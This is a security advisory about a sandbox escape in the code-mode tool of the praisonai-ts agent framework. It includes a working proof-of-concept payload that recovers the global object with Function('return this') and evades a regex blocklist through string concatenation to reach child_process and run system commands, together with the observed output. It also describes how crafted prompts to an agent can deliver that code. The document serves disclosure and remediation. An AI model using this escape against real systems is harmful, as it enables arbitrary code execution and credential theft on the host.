Summary The "codeMode" tool in "src/praisonai-ts/src/tools/builtins/code-mode.ts" uses "new Function()" with a "with(sandbox)" pattern to execute LLM-generated code. The blocklist-based "sandbox" can be trivially bypassed via "Function('return this')()" to recover the global object, followed by "global.require()" with string concatenation to evade the blocklist regex. This allows full arbitrary code execution on the host system. This affects all deployments where the code-mode tool is enabled for agents. Details Vulnerable code (lines 187–191): const fn = new Function( 'sandbox', "with (sandbox) { ${code} }" ); const result = fn(sandbox); The "code" parameter comes from LLM tool call arguments (the "execute" method at line 104). Before execution, a regex-based blocklist is applied (lines 108–136): const blockedPatterns = [ /require\s*(\s*['"]child_process['"]\s*)/, /require\s*(\s*['"]fs['"]\s*)/, /import\s+.from\s+['"]child_process['"]/, /process.exit/, /eval\s(/, ]; Three fundamental weaknesses: 1. "with(sandbox)" does not provide isolation. The "with" statement in JavaScript adds an object to the scope chain but does NOT prevent accessing the global object. The sandbox object sets "process: undefined" and "require: undefined", but these are recovered via the global scope: const g = Function('return this')(); g.require('child_' + 'process') 2. Blocklist evasion via string concatenation. The regex "/require\s*(\s*['"]child_process['"]\s*)/" requires the literal string "'child_process'" or ""child_process"" inside "require()". Using "require('child_' + 'process')" bypasses this because the regex sees a variable concatenation, not a literal string. 3. "Function('return this')()" is not blocked. None of the blocklist patterns match "Function(", "return this", or "global.require". PoC Setup: Clean checkout at commit "d5f1114a", Node.js v20.20.0 (tested environment). Positive trigger — full RCE with sandbox escape (OBSERVED OUTPUT): // This code bypasses ALL blocklist patterns and achieves RCE: const code = "const Func = (function(){}).constructor; const proc = Func('return process')(); console.log('process.version:', proc.version); const g = Function('return this')(); const mod = 'child_' + 'process'; const cp = g.require(mod); console.log('RCE:', cp.execSync('id').toString().trim());"; Observed output (executed in this environment): OUT: process.version: v20.20.0 OUT: RCE: uid=1000(sondt23) gid=1000(sondt23) groups=1000(sondt23),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),983(docker),984(ollama) The escape was confirmed by executing the exact code-mode sandbox pattern ("new Function('sandbox', 'with (sandbox) { ... }')") with the blocklist applied first. ALL blocklist patterns were bypassed, and the "id" command returned the real system user ID. Negative control — blocklist correctly catches direct require: const code = "require('child_process')"; // Returns: "Blocked pattern detected: require\s*(\s*['"]child_process['"]\s*)" Negative control — blocklist correctly catches eval: const code = "eval('process')"; // Returns: "Blocked pattern detected: eval\s*(" Cleanup: No persistence needed; the code runs in-process. Impact An attacker who can influence the "code" parameter of the "codeMode" tool (via crafted prompts to an AI agent using praisonai-ts) achieves full arbitrary code execution on the host system. This includes: - Read/write any file accessible to the process user - Execute arbitrary system commands via "child_process" - Exfiltrate environment variables containing API keys, tokens, and credentials - Install persistent backdoors by writing to startup files - Move laterally in containerized environments Suggested remediation The "with(sandbox)" + blocklist pattern is fundamentally insecure and cannot be fixed with regex improvements. Replace it with: 1. Use "vm" module with proper context isolation: import { createContext, runInContext } from 'vm'; const sandbox = createContext({ /* safe globals only */ }); runInContext(code, sandbox, { timeout: 5000 }); 2. Or use "isolated-vm" for true process-level isolation with separate V8 isolates. 3. Or run code in a subprocess (like the Python "_execute_code_sandboxed" pattern already used in "python_tools.py") with a clean environment and resource limits. 4. If a blocklist approach must be retained, add patterns for: - "Function(" / "new Function" - "constructor" / "proto" / "prototype" - "return this" / "return global" - "global" / "globalThis" / "window" But note: blocklist approaches are inherently fragile and will continue to have bypasses.